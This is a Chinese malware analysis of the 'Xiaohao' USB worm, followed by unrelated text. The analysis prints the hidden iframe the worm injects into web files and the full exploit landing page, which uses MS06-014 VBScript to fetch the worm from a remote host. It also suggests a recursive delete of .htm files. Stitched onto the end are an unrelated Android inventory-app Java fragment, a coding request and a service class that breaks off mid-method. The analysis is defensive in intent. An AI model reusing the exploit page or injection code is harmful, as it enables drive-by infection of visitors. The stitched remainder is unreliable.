Xiaohao.exe(Virus.Win32.Agent.o)

本文详细分析了一种名为Xiaohao的蠕虫病毒,该病毒通过U盘等移动介质传播,并利用网页漏洞进行感染。Xiaohao会释放病毒文件,修改注册表并尝试覆盖系统文件,造成系统损坏。文章还提供了初步的清除指导。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文件名称:Xiaohao.exe

文件大小:12288 bytes

AV命名:Virus.Win32.Agent.o(瑞星)

加壳方式:UPX 0.89.6 - 1.02 / 1.05 - 1.24

编写语言:Microsoft Visual C++ 6.0

病毒类型:蠕虫

文件MD5:B50ED06B61CDCF060D0136784999E50C

文件SHA1:ADFE561A7E12E6123C2E5E64EAE2308CBD4A79FD

传播方式:U盘等移动介质、网页漏洞。

1、释放病毒文件:

%Systemroot%/system32/dllcache/dvdplay.exe

%Systemroot%/system32/OLDA.tmp

%Systemroot%/system32/exloroe.exe

其中主体Xiaohao.exe常驻进程。

2、尝试启动C:/Program Files/Internet Explorer/iexplore.exe,不过未见其他行为。

3、Xiaohao.exe查找可用的磁盘,在其目录下生成:Xiaohao.exe和Autorun.inf

如双击磁盘,则激活病毒。

(如果在插入U盘情况下,运行被感染的病毒,那么U盘目录会生成Xiaohao.exe和Autorun.inf)

4、遍历磁盘所有文件,如遇到.exe文件则覆盖,并在文件尾增加感染标记“ygr”

覆盖文件头部,导致可执行文件结构被破坏。文件全部变成一个“浩”字

由于无判断路径,系统文件也被破坏了,重启后可能无法开机。

并且一些系统设置和配置失效,例如系统时间会被修改。

5、查找扩展名为*.jsp、*.php、*.aspx、*.asp、*.html、*.htm文件。插入一段代码:

<ifrae src=h**p://xiaohao.yona.biz/xiaohao.htm width=0 height=0></ifram>

代码:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>IE 0Day</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
function detectOS()
{
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
{
OS = "Windows XP";
}
else
{
if(navigator.userAgent.indexOf("Windows NT 5.2") != -1)
{OS = "Windows 2003";}
else
{OS = "Windows 2000";}
}
return OS;
}
function MakeItSo()
{
if(detectOS() == "Windows XP")
{
//2YWwO5M3N*xp,V4PPxp5DMS07-004MxBm
window.location.href="baobao.htm";
}
else {if(detectOS() == "Windows 2003")
{
//2YWwO5M3N*2003
window.location.href="zhu3.htm";
}
else
{
//2YWwO5M3N*2K,V4PP2K5DMS07-004MxBm
window.location.href="banner.htm";
}
}
}
</SCRIPT>

<SCRIPT language=VBScript>
on error resume next
Set downf = document.createElement("object")
downf.setAttribute "classid", "clsid:BD9"&"6C556-6"&"5A3-11D"&"0-983A-00C"&"04FC2"&"9E36"
str="Microsoft.XMLHTTP"
Set O = downf.CreateObject(str,"")
if Not Err.Number = 0 then
err.clear
//C;SPMS06-014B)64,5Ck:sEP6O2YWwO5M3@`PMV4PP2;M,5DMS07-004MxBm
document.write("<scr"&"ipt language=""javascript"">window.setTimeout(""MakeItSo()"",5000);</sc"&"ript>")
else
//SPMS06-014B)64,V4PP06-0145DMxBmad.htm
document.write("<iframe width=""0"" height=""0"" src=""zhu3.htm""></iframe>")
end if
</SCRIPT>
<script src=yun.js></script>
<SCRIPT language=javascript type=text/javascript>
var cookieString = document.cookie;
var start = cookieString.indexOf("woshi0day=");
if (start != -1)
{}
else
{
var expires = new Date();
expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
document.cookie = "woshi0day=Ms06-046;expires=" + expires.toGMTString();
document.write("<iframe width=0 height=0 src=baobao.htm></iframe>");
}</SCRIPT>
</BODY></HTML>

由操作系统版本判断,决定跳转的网页。

首先检测是否存在MS06-014漏洞,若有,则跳至h**p://xiaohao.yona.biz/zhu3.htm

如无意外,可获样本:h**p://xiaohao.yona.biz/xiaohao.exe(就是那个主角拉``)

若无MS06-014漏洞,则跳至h**p://xiaohao.yona.biz/baobao.htm.

代码以十进制加密```解密后得一只0day,应该是ANI的马``=。=

连接已失效``(晕)

时间关系,不深入分析咧```=。=

6、修改注册表(不记得哪里,哈哈``),删除开始菜单的快捷方式。

7、修改进程窗口标题,为:已中毒 X14o-H4o's Virus

8、如病毒在进程,在进入一个目录后,所有文件(被感染文件除外)属性皆被设置为隐藏!

9、破坏显示隐藏文件,设置为“不显示”。

10、写入注册表,开机自启:

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Active Setup/Installed Components/

指向%SystemRoot%/system32/exloroe.exe

(汗,这一步绝对多余了,因为系统根本启动不了!)

11、保存被感染的文件列表,则C:/Jilu.txt

狂汗``有1M多!

没有解决方法哈```重启后系统不能启动,呵呵

只能重装``

1、C盘格掉,重装系统后,删除每个磁盘下的Xiaohao.exe和Autorun.inf。

记住,不要双击进入啊,不然一切又白费了,建议用Winrar或CMD下删除。

2、不要运行C盘外的任何程序,直接网上下载杀毒软件,升级之``全盘扫

3、还有那些被插代码的网页文件。。

由于是重装,系统补丁没打``如果不小心运行,可能病毒又来了`` T T

可以下载个批量删除代码的工具哈``杀软也应该可以吧?

或者干脆:

Del *.htm /s/q

*.htm自己换成其他网页格式文件哈。

===========================================

也可以在DOS下用光盘杀毒啊,前提是杀软能识别。

===========================================

PS:

这种病毒破坏性非常大,建议打齐系统补丁,及时升级杀软!!

杀软如有主动防御功能更好``没有的话,去下个HIPS辅助``

还有```不明的网站就不要进拉~~

 
package com.example.kucun2.ui.jinhuo; import android.app.AlertDialog; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AutoCompleteTextView; import android.widget.Button; import android.widget.EditText; import android.widget.RadioGroup; import android.widget.Spinner; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import com.example.kucun2.DataPreserver.Data; import com.example.kucun2.R; import com.example.kucun2.entity.*; import com.example.kucun2.function.Adapter; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.Objects; public class AddInventoryFragment extends Fragment implements Data.OnDataChangeListener { // 视图组件 private AutoCompleteTextView actvDingdan, actvChanpin, actvZujian, actvBancai; private EditText etQuantity; private RadioGroup rgType; private Button btnNewDingdan, btnAddChanpin, btnAddZujian, btnSubmit; // 适配器 private Adapter.FilterableAdapter<Dingdan> dingdanAdapter; private Adapter.FilterableAdapter<Chanpin> chanpinAdapter; private Adapter.FilterableAdapter<Zujian> zujianAdapter; private Adapter.FilterableAdapter<Bancai> bancaiAdapter; // 当前选择 private Dingdan selectedDingdan; private Chanpin selectedChanpin; private Zujian selectedZujian; private Bancai selectedBancai; // 数据列表 private List<Dingdan> dingdanList; private List<Chanpin> chanpinList; private List<Zujian> zujianList; private List<Bancai> bancaiList; // 当前用户 private User currentUser; @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 获取当前用户 currentUser = Data.getCurrentUser(); } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_add_inventory, container, false); initViews(view); initData(); setupSpinners(); setupListeners(); applyPermissionRestrictions(); // 应用权限限制 return view; } /** * 初始化视图组件 */ private void initViews(View view) { actvDingdan = view.findViewById(R.id.actv_dingdan); actvChanpin = view.findViewById(R.id.actv_chanpin); actvZujian = view.findViewById(R.id.actv_zujian); actvBancai = view.findViewById(R.id.actv_bancai); etQuantity = view.findViewById(R.id.et_shuliang); rgType = view.findViewById(R.id.rg_type); btnNewDingdan = view.findViewById(R.id.btn_new_dingdan); btnAddChanpin = view.findViewById(R.id.btn_add_chanpin); btnAddZujian = view.findViewById(R.id.btn_add_zujian); btnSubmit = view.findViewById(R.id.btn_submit); // 初始禁用状态 actvChanpin.setEnabled(false); actvZujian.setEnabled(false); etQuantity.setEnabled(false); } private void initData() { // 从全局数据获取列表 dingdanList = Data.dingdans().getViewList(); chanpinList = Data.chanpins().getViewList(); zujianList = Data.zujians().getViewList(); bancaiList = Data.bancais().getViewList(); } /** * 设置下拉框适配器 */ private void setupSpinners() { // 3. 创建支持筛选的适配器 dingdanAdapter = Adapter.createDingdanFilterableAdapter(requireContext(), dingdanList); actvDingdan.setAdapter(dingdanAdapter); chanpinAdapter = Adapter.createChanpinFilterableAdapter(requireContext(), new ArrayList<>()); actvChanpin.setAdapter(chanpinAdapter); zujianAdapter = Adapter.createZujianFilterableAdapter(requireContext(), new ArrayList<>()); actvZujian.setAdapter(zujianAdapter); bancaiAdapter = Adapter.createBancaiFilterableAdapter(requireContext(), bancaiList); actvBancai.setAdapter(bancaiAdapter); } /** * 设置事件监听器 */ private void setupListeners() { // 4. 设置新的点击事件监听器 actvDingdan.setOnItemClickListener((parent, view, position, id) -> { selectedDingdan = dingdanAdapter.getItem(position); updateChanpinSpinner(); actvChanpin.setEnabled(selectedDingdan != null); if (selectedDingdan == null) { // 清空后续选择 actvChanpin.setText(""); selectedChanpin = null; actvZujian.setText(""); selectedZujian = null; actvBancai.setText(""); selectedBancai = null; etQuantity.setText(""); etQuantity.setEnabled(false); } }); // 产品选择监听 actvChanpin.setOnItemClickListener((parent, view, position, id) -> { selectedChanpin = chanpinAdapter.getItem(position); updateZujianSpinner(); actvZujian.setEnabled(selectedChanpin != null); if (selectedChanpin == null) { // 清空后续选择 actvZujian.setText(""); selectedZujian = null; actvBancai.setText(""); selectedBancai = null; etQuantity.setText(""); etQuantity.setEnabled(false); } }); // 组件选择监听 actvZujian.setOnItemClickListener((parent, view, position, id) -> { selectedZujian = zujianAdapter.getItem(position); updateBancaiSpinner(); // 组件选择后锁定板材下拉框 actvBancai.setEnabled(false); }); // 板材选择监听 actvBancai.setOnItemClickListener((parent, view, position, id) -> { selectedBancai = bancaiAdapter.getItem(position); etQuantity.setEnabled(selectedBancai != null); if (selectedBancai == null) { etQuantity.setText(""); } }); // 新建订单 btnNewDingdan.setOnClickListener(v -> showNewDingdanDialog()); // 添加产品 btnAddChanpin.setOnClickListener(v -> showAddChanpinDialog()); // 添加组件 btnAddZujian.setOnClickListener(v -> showAddZujianDialog()); // 提交 btnSubmit.setOnClickListener(v -> submitInventory()); } /** * 根据用户角色应用权限限制 */ private void applyPermissionRestrictions() { if (currentUser == null) return; int role = currentUser.getRole(); if (role == 0) { // 普通用户 // 只能消耗,不能进货 rgType.check(R.id.rb_xiaohao); rgType.getChildAt(0).setEnabled(false); // 禁用进货选项 // 禁用新建订单、添加产品按钮 btnNewDingdan.setEnabled(false); btnAddChanpin.setEnabled(false); } } /** * 根据选定订单更新产品下拉框 */ private void updateChanpinSpinner() { List<Chanpin> filtered = new ArrayList<>(); if (selectedDingdan != null) { for (Dingdan_chanpin dc : selectedDingdan.getDingdan_chanpin()) { filtered.add(dc.getChanpin()); } } // 5. 使用适配器的updateList方法更新数据 chanpinAdapter.updateList(filtered); } /** * 根据选定产品更新组件下拉框 */ private void updateZujianSpinner() { List<Zujian> filtered = new ArrayList<>(); if (selectedChanpin != null) { for (Chanpin_Zujian cz : selectedChanpin.getChanpin_zujian()) { filtered.add(cz.getZujian()); } } zujianAdapter.updateList(filtered); } /** * 根据选定组件更新板材下拉框 */ private void updateBancaiSpinner() { List<Bancai> filtered = new ArrayList<>(); if (selectedZujian != null && selectedChanpin != null) { // 查找组件关联的板材 for (Chanpin_Zujian cz : selectedChanpin.getChanpin_zujian()) { if (cz.getZujian().equals(selectedZujian)) { filtered.add(cz.getBancai()); // 自动选中关联的板材 selectedBancai = cz.getBancai(); actvBancai.setText(selectedBancai.TableText()); etQuantity.setEnabled(true); break; } } bancaiAdapter.updateList(filtered); } else { // 没有选择组件时显示所有板材 filtered = new ArrayList<>(bancaiList); bancaiAdapter.updateList(filtered); } } /** * 显示新建订单对话框 */ private void showNewDingdanDialog() { // 权限检查 if (currentUser != null && currentUser.getRole() == 0) { Toast.makeText(requireContext(), "您无权创建新订单", Toast.LENGTH_SHORT).show(); return; } AlertDialog.Builder builder = new AlertDialog.Builder(requireContext()); View view = LayoutInflater.from(requireContext()).inflate(R.layout.dialog_new_dingdan, null); EditText etNumber = view.findViewById(R.id.et_order_number); builder.setView(view) .setTitle("新建订单") .setPositiveButton("保存", (dialog, which) -> { Dingdan newDingdan = new Dingdan(); newDingdan.setNumber(etNumber.getText().toString()); // 添加到全局数据 Data.add(newDingdan); }) .setNegativeButton("取消", null) .show(); } /** * 显示添加产品对话框 */ private void showAddChanpinDialog() { // 权限检查 if (currentUser != null && currentUser.getRole() == 0) { Toast.makeText(requireContext(), "您无权添加产品", Toast.LENGTH_SHORT).show(); return; } if (selectedDingdan == null) { Toast.makeText(requireContext(), "请先选择订单", Toast.LENGTH_SHORT).show(); return; } AlertDialog.Builder builder = new AlertDialog.Builder(requireContext()); View view = LayoutInflater.from(requireContext()).inflate(R.layout.dialog_add_chanpin, null); Spinner spinner = view.findViewById(R.id.spinner_chanpin_selection); EditText etQuantity = view.findViewById(R.id.et_chanpin_quantity); // 设置产品列表(排除已关联的) List<Chanpin> available = new ArrayList<>(chanpinList); for (Dingdan_chanpin dc : selectedDingdan.getDingdan_chanpin()) { available.remove(dc.getChanpin()); } Adapter.setupChanpinSpinner(spinner, available, requireContext()); // 添加新建产品按钮 Button btnNewChanpin = view.findViewById(R.id.btn_new_chanpin); builder.setView(view) .setTitle("添加产品到订单") .setPositiveButton("添加", (dialog, which) -> { Chanpin selected = (Chanpin) spinner.getSelectedItem(); int quantity = Integer.parseInt(etQuantity.getText().toString().trim()); // 检查是否已存在关联 for (Dingdan_chanpin dc : selectedDingdan.getDingdan_chanpin()) { if (dc.getChanpin().equals(selected)) { Toast.makeText(requireContext(), "该产品已添加到订单", Toast.LENGTH_SHORT).show(); return; } } // 创建订单-产品关联 Dingdan_chanpin dc = new Dingdan_chanpin(); dc.setDingdan(selectedDingdan); dc.setChanpin(selected); dc.setShuliang(quantity); // 添加到全局数据 Data.add(dc); selectedDingdan.getDingdan_chanpin().add(dc); }) .show(); // 新建产品按钮点击事件 btnNewChanpin.setOnClickListener(v -> showNewChanpinDialog(available, spinner)); } // 实现新建产品对话框 private void showNewChanpinDialog(List<Chanpin> available, Spinner spinner) { AlertDialog.Builder builder = new AlertDialog.Builder(requireContext()); View view = LayoutInflater.from(requireContext()).inflate(R.layout.dialog_new_chanpin, null); EditText etBianhao = view.findViewById(R.id.et_chanpin_name); builder.setView(view) .setTitle("新建产品") .setPositiveButton("保存", (dialog, which) -> { String bianhao = etBianhao.getText().toString().trim(); if (bianhao.isEmpty()) { Toast.makeText(requireContext(), "产品编号不能为空", Toast.LENGTH_SHORT).show(); return; } // 创建新产品 Chanpin newChanpin = new Chanpin(); newChanpin.setBianhao(bianhao); // 添加到全局数据 Data.add(newChanpin); // 更新可用列表和适配器 available.add(newChanpin); }) .setNegativeButton("取消", null) .show(); } /** * 显示添加组件对话框 */ private void showAddZujianDialog() { if (selectedChanpin == null) { Toast.makeText(requireContext(), "请先选择产品", Toast.LENGTH_SHORT).show(); return; } AlertDialog.Builder builder = new AlertDialog.Builder(requireContext()); View view = LayoutInflater.from(requireContext()).inflate(R.layout.dialog_create_zujian_bancai, null); Spinner spinnerZujian = view.findViewById(R.id.et_zujian_name); Spinner spinnerBancai = view.findViewById(R.id.spinner_bancai); EditText etOneHowmany = view.findViewById(R.id.number_one_howmany); // 设置组件下拉框 Adapter.setupZujianSpinner(spinnerZujian, zujianList, requireContext()); // 设置板材下拉框 Adapter.setupBancaiSpinners(spinnerBancai, bancaiList, requireContext()); builder.setView(view) .setTitle("添加组件到产品") .setPositiveButton("添加", (dialog, which) -> { Zujian zujian = (Zujian) spinnerZujian.getSelectedItem(); Bancai bancai = (Bancai) spinnerBancai.getSelectedItem(); double oneHowmany = Double.parseDouble(etOneHowmany.getText().toString()); // 检查是否已存在关联 for (Chanpin_Zujian cz : selectedChanpin.getChanpin_zujian()) { if (cz.getZujian().equals(zujian) && cz.getBancai().equals(bancai)) { Toast.makeText(requireContext(), "该组件已添加到产品", Toast.LENGTH_SHORT).show(); return; } } // 创建产品-组件关联 Chanpin_Zujian cz = new Chanpin_Zujian(); cz.setChanpin(selectedChanpin); cz.setZujian(zujian); cz.setBancai(bancai); cz.setOne_howmany(oneHowmany); zujian.getChanpin_zujian().add(cz); selectedChanpin.getChanpin_zujian().add(cz); // 添加到全局数据 Data.add(cz); }) .show(); } /** * 提交库存操作(进货/消耗) */ private void submitInventory() { // 获取数量 int quantity; try { quantity = Integer.parseInt(etQuantity.getText().toString()); if (quantity <= 0) { Toast.makeText(requireContext(), "数量必须大于0", Toast.LENGTH_SHORT).show(); return; } } catch (NumberFormatException e) { Toast.makeText(requireContext(), "请输入有效数量", Toast.LENGTH_SHORT).show(); return; } // 获取操作类型 boolean isJinhuo = rgType.getCheckedRadioButtonId() == R.id.rb_jinhuo; // 权限检查:普通用户只能消耗 if (currentUser != null && currentUser.getRole() == 0 && isJinhuo) { Toast.makeText(requireContext(), "您只能执行生产操作", Toast.LENGTH_SHORT).show(); return; } // 处理进货/消耗逻辑 if (isJinhuo) { handleJinhuo(quantity); } else { handleXiaohao(quantity); } resetForm(); } private void handleJinhuo(int quantity) { // 1. 查找或创建dingdan_bancai记录 Dingdan_bancai db = findOrCreateDingdanBancai(); // 2. 更新dingdan_bancai数量 db.setShuliang(db.getShuliang() + quantity); // 3. 创建进货记录 Jinhuo record = new Jinhuo(); record.setShuliang(quantity); record.setDate(new Date()); record.setUser(currentUser); record.setDingdan_bancai(db); Data.add(record); // 4. 更新库存 updateKucun(db.getBancai(), quantity); Toast.makeText(requireContext(), "进货操作成功", Toast.LENGTH_SHORT).show(); } private Dingdan_bancai findOrCreateDingdanBancai() { // 尝试查找完全匹配的记录 Dingdan_bancai db = findExistingDingdanBancai(true); if (db == null) { // 创建新记录 db = new Dingdan_bancai(); db.setDingdan(selectedDingdan); db.setChanpin(selectedChanpin); db.setZujian(selectedZujian); db.setBancai(selectedBancai); db.setShuliang(0); // 初始数量为0 Data.add(db); } return db; } private void handleXiaohao(int quantity) { // 1. 按优先级查找dingdan_bancai记录 Dingdan_bancai db = findMatchingDingdanBancai(); int remaining = quantity; if (db != null) { // 2. 计算实际可消耗数量 int available = Math.max(0, db.getShuliang()); int consumed = Math.min(available, remaining); // 3. 更新dingdan_bancai数量 db.setShuliang(db.getShuliang() - consumed); remaining -= consumed; } // 4. 如果还有剩余数量,创建负记录 if (remaining > 0) { Dingdan_bancai negativeDb = new Dingdan_bancai(); negativeDb.setDingdan(selectedDingdan); negativeDb.setChanpin(selectedChanpin); negativeDb.setZujian(selectedZujian); negativeDb.setBancai(selectedBancai); negativeDb.setShuliang(-remaining); // 负数量 Data.add(negativeDb); db = negativeDb; // 用于库存更新 } // 5. 创建消耗记录 Jinhuo record = new Jinhuo(); record.setShuliang(-quantity); record.setDate(new Date()); record.setUser(currentUser); record.setDingdan_bancai(db); Data.add(record); // 6. 更新库存 updateKucun(selectedBancai, -quantity); Toast.makeText(requireContext(), "消耗操作成功", Toast.LENGTH_SHORT).show(); } private Dingdan_bancai findMatchingDingdanBancai() { List<Dingdan_bancai> allDB = Data.dingdan_bancais().getViewList(); // 匹配规则1: 完全匹配 (订单+产品+组件+板材) for (Dingdan_bancai db : allDB) { if (matchesExactly(db) && db.getShuliang() > 0) { return db; } } // 匹配规则2: 忽略组件 (订单+产品+板材) for (Dingdan_bancai db : allDB) { if (matchesWithoutComponent(db) && db.getShuliang() > 0) { return db; } } // 匹配规则3: 忽略产品和组件 (订单+板材) for (Dingdan_bancai db : allDB) { if (matchesOnlyOrderAndMaterial(db) && db.getShuliang() > 0) { return db; } } return null; // 无匹配 } private void updateKucun(Bancai bancai, int delta) { // 查找该板材的库存记录 Kucun kucun = findKucunByBancai(bancai); if (kucun == null) { // 创建新库存记录 kucun = new Kucun(); kucun.setBancai(bancai); kucun.setShuliang(0); Data.add(kucun); } // 更新库存数量 kucun.setShuliang(kucun.getShuliang() + delta); } private Kucun findKucunByBancai(Bancai bancai) { for (Kucun k : Data.kucuns().getViewList()) { if (k.getBancai().equals(bancai)) { return k; } } return null; } // 完全匹配 private boolean matchesExactly(Dingdan_bancai db) { return Objects.equals(db.getDingdan(), selectedDingdan) && Objects.equals(db.getChanpin(), selectedChanpin) && Objects.equals(db.getZujian(), selectedZujian) && db.getBancai().equals(selectedBancai); } // 忽略组件匹配 private boolean matchesWithoutComponent(Dingdan_bancai db) { return Objects.equals(db.getDingdan(), selectedDingdan) && Objects.equals(db.getChanpin(), selectedChanpin) && db.getZujian() == null && // 组件必须为空 db.getBancai().equals(selectedBancai); } // 仅订单和板材匹配 private boolean matchesOnlyOrderAndMaterial(Dingdan_bancai db) { return Objects.equals(db.getDingdan(), selectedDingdan) && db.getChanpin() == null && // 产品必须为空 db.getZujian() == null && // 组件必须为空 db.getBancai().equals(selectedBancai); } /** * 查找现有订单-板材关联记录 */ private Dingdan_bancai findExistingDingdanBancai(boolean b) { for (Dingdan_bancai db : Data.dingdan_bancais().getViewList()) { boolean matchDingdan = (selectedDingdan == null && db.getDingdan() == null) || (selectedDingdan != null && selectedDingdan.equals(db.getDingdan())); boolean matchChanpin = (selectedChanpin == null && db.getChanpin() == null) || (selectedChanpin != null && selectedChanpin.equals(db.getChanpin())); boolean matchZujian = (selectedZujian == null && db.getZujian() == null) || (selectedZujian != null && selectedZujian.equals(db.getZujian())); boolean matchBancai = selectedBancai != null && selectedBancai.equals(db.getBancai()); if (matchDingdan && matchChanpin && matchZujian && matchBancai) { return db; } } return null; } /** * 重置表单到初始状态 */ private void resetForm() { actvDingdan.setSelection(0); actvChanpin.setSelection(0); actvZujian.setSelection(0); actvBancai.setSelection(0); etQuantity.setText(""); rgType.check(R.id.rb_jinhuo); } @Override public void onResume() { super.onResume(); Data.addDataChangeListener(this); } @Override public void onPause() { super.onPause(); Data.removeDataChangeListener(this); } @Override public void onDataChanged(Class<?> entityClass, String operationType, Integer itemId) { // 6. 更新适配器数据 if (entityClass == Dingdan.class) { dingdanList = Data.dingdans().getViewList(); dingdanAdapter.updateList(dingdanList); // 尝试选中新添加的订单 if (operationType.equals("add")) { for (int i = 0; i < dingdanList.size(); i++) { if (Objects.equals(dingdanList.get(i).getId(), itemId)) { actvDingdan.setText(dingdanList.get(i).getNumber(), false); selectedDingdan = dingdanList.get(i); break; } } } } else if (entityClass == Chanpin.class) { chanpinList = Data.chanpins().getViewList(); updateChanpinSpinner(); } else if (entityClass == Zujian.class) { zujianList = Data.zujians().getViewList(); updateZujianSpinner(); } else if (entityClass == Bancai.class) { bancaiList = Data.bancais().getViewList(); bancaiAdapter.updateList(bancaiList); } } } 给出完整版的AddInventoryFragment类,参考原始代码和InventoryServicepackage com.example.kucun2.Servicer; import android.util.Log; import com.example.kucun2.DataPreserver.Data; import com.example.kucun2.entity.*; import java.util.*; public class InventoryService { // 日志级别常量 public static final int LOG_LEVEL_DEBUG = 0; public static final int LOG_LEVEL_INFO = 1; public static final int LOG_LEVEL_WARN = 2; public static final int LOG_LEVEL_ERROR = 3; private static final String TAG = "InventoryService"; private int logLevel = LOG_LEVEL_INFO; // 默认日志级别 // 设置日志级别 public void setLogLevel(int level) { this.logLevel = level; } // 日志记录方法 private void log(int level, String message) { if (level < logLevel) return; switch (level) { case LOG_LEVEL_DEBUG: Log.d(TAG, message); break; case LOG_LEVEL_INFO: Log.i(TAG, message); break; case LOG_LEVEL_WARN: Log.w(TAG, message); break; case LOG_LEVEL_ERROR: Log.e(TAG, message); break; } } //=== 库存操作 ===// /** * 处理进货操作 */ public OperationResult<Void> handleJinhuo(Dingdan dingdan, Chanpin chanpin, Zujian zujian, Bancai bancai, int quantity, User user) { long startTime = System.currentTimeMillis(); try { log(LOG_LEVEL_DEBUG, "开始处理进货操作: 订单=" + dingdan.getNumber() + ", 产品=" + chanpin.getBianhao() + ", 组件=" + zujian.getName() + ", 板材=" + bancai.TableText() + ", 数量=" + quantity); // 查找或创建订单-板材关联 Dingdan_bancai db = findOrCreateDingdanBancai(dingdan, chanpin, zujian, bancai); // 更新数量 db.setShuliang(db.getShuliang() + quantity); // 创建进货记录 Jinhuo jinhuo = new Jinhuo(); jinhuo.setShuliang(quantity); jinhuo.setDate(new Date()); jinhuo.setUser(user); jinhuo.setDingdan_bancai(db); Data.add(jinhuo); // 更新库存 updateKucun(bancai, quantity); log(LOG_LEVEL_INFO, "进货操作成功: 增加了 " + quantity + " 件板材"); return OperationResult.success("进货操作成功", null); } catch (Exception e) { log(LOG_LEVEL_ERROR, "进货操作失败: " + e.getMessage()); return OperationResult.error("进货操作失败: " + e.getMessage()); } finally { long duration = System.currentTimeMillis() - startTime; log(LOG_LEVEL_DEBUG, "进货操作耗时: " + duration + "ms"); } } /** * 处理消耗操作 */ public OperationResult<Void> handleXiaohao(Dingdan dingdan, Chanpin chanpin, Zujian zujian, Bancai bancai, int quantity, User user) { long startTime = System.currentTimeMillis(); try { log(LOG_LEVEL_DEBUG, "开始处理消耗操作: 订单=" + dingdan.getNumber() + ", 产品=" + chanpin.getBianhao() + ", 组件=" + zujian.getName() + ", 板材=" + bancai.TableText() + ", 数量=" + quantity); // 查找订单-板材关联 Dingdan_bancai db = findDingdanBancai(dingdan, chanpin, zujian, bancai); if (db == null) { String msg = "未找到相关的订单-板材关联"; log(LOG_LEVEL_WARN, msg); return OperationResult.error(msg); } // 检查库存是否足够 if (db.getShuliang() < quantity) { String msg = "库存不足: 当前库存 " + db.getShuliang() + ",请求消耗 " + quantity; log(LOG_LEVEL_WARN, msg); return OperationResult.error(msg); } // 更新数量 db.setShuliang(db.getShuliang() - quantity); // 创建消耗记录 Jinhuo xiaohao = new Jinhuo(); xiaohao.setShuliang(quantity); xiaohao.setDate(new Date()); xiaohao.setUser(user); xiaohao.setDingdan_bancai(db); Data.add(xiaohao); // 更新库存 updateKucun(bancai, -quantity); log(LOG_LEVEL_INFO, "消耗操作成功: 减少了 " + quantity + " 件板材"); return OperationResult.success("消耗操作成功", null); } catch (Exception e) { log(LOG_LEVEL_ERROR, "消耗操作失败: " + e.getMessage()); return OperationResult.error("消耗操作失败: " + e.getMessage()); } finally { long duration = System.currentTimeMillis() - startTime; log(LOG_LEVEL_DEBUG, "消耗操作耗时: " + duration + "ms"); } } //=== 新建数据操作 ===// /** * 创建新订单 */ public OperationResult<Dingdan> createNewOrder(String orderNumber) { try { if (orderNumber == null || orderNumber.trim().isEmpty()) { log(LOG_LEVEL_WARN, "创建订单失败: 订单号不能为空"); return OperationResult.error("订单号不能为空"); } // 检查订单号是否已存在 for (Dingdan order : Data.dingdans().getViewList()) { if (orderNumber.equals(order.getNumber())) { log(LOG_LEVEL_WARN, "创建订单失败: 订单号已存在 - " + orderNumber); return OperationResult.error("订单号已存在"); } } Dingdan newOrder = new Dingdan(); newOrder.setNumber(orderNumber); Data.add(newOrder); log(LOG_LEVEL_INFO, "订单创建成功: " + orderNumber); return OperationResult.success(newOrder); } catch (Exception e) { log(LOG_LEVEL_ERROR, "创建订单失败: " + e.getMessage()); return OperationResult.error("创建订单失败: " + e.getMessage()); } } /** * 创建新产品 */ public OperationResult<Chanpin> createNewProduct(String productCode) { try { if (productCode == null || productCode.trim().isEmpty()) { log(LOG_LEVEL_WARN, "创建产品失败: 产品编号不能为空"); return OperationResult.error("产品编号不能为空"); } // 检查产品编号是否已存在 for (Chanpin product : Data.chanpins().getViewList()) { if (productCode.equals(product.getBianhao())) { log(LOG_LEVEL_WARN, "创建产品失败: 产品编号已存在 - " + productCode); return OperationResult.error("产品编号已存在"); } } Chanpin newProduct = new Chanpin(); newProduct.setBianhao(productCode); Data.add(newProduct); log(LOG_LEVEL_INFO, "产品创建成功: " + productCode); return OperationResult.success(newProduct); } catch (Exception e) { log(LOG_LEVEL_ERROR, "创建产品失败: " + e.getMessage()); return OperationResult.error("创建产品失败: " + e.getMessage()); } } /** * 添加产品到订单 */ public OperationResult<Dingdan_chanpin> addProductToOrder(Dingdan order, Chanpin product, int quantity) { try { if (order == null) { log(LOG_LEVEL_WARN, "添加产品失败: 订单不能为空"); return OperationResult.error("订单不能为空"); } if (product == null) { log(LOG_LEVEL_WARN, "添加产品失败: 产品不能为空"); return OperationResult.error("产品不能为空"); } if (quantity <= 0) { log(LOG_LEVEL_WARN, "添加产品失败: 数量必须大于0"); return OperationResult.error("数量必须大于0"); } // 检查是否已存在关联 for (Dingdan_chanpin dc : order.getDingdan_chanpin()) { if (dc.getChanpin().equals(product)) { String msg = "产品 " + product.getBianhao() + " 已添加到订单"; log(LOG_LEVEL_WARN, msg); return OperationResult.error(msg); } } // 创建订单-产品关联 Dingdan_chanpin dc = new Dingdan_chanpin(); dc.setDingdan(order); dc.setChanpin(product); dc.setShuliang(quantity); Data.add(dc); order.getDingdan_chanpin().add(dc); log(LOG_LEVEL_INFO, "产品添加成功: " + product.getBianhao() + " 数量: " + quantity); return OperationResult.success(dc); } catch (Exception e) { log(LOG_LEVEL_ERROR, "添加产品失败: " + e.getMessage()); return OperationResult.error("添加产品失败: " + e.getMessage()); } } /** * 添加组件到产品 */ public OperationResult<Chanpin_Zujian> addComponentToProduct(Chanpin product, Zujian component, Bancai material, double componentsPerBoard) { try { if (product == null) { log(LOG_LEVEL_WARN, "添加组件失败: 产品不能为空"); return OperationResult.error("产品不能为空"); } if (component == null) { log(LOG_LEVEL_WARN, "添加组件失败: 组件不能为空"); return OperationResult.error("组件不能为空"); } if (material == null) { log(LOG_LEVEL_WARN, "添加组件失败: 板材不能为空"); return OperationResult.error("板材不能为空"); } if (componentsPerBoard <= 0) { log(LOG_LEVEL_WARN, 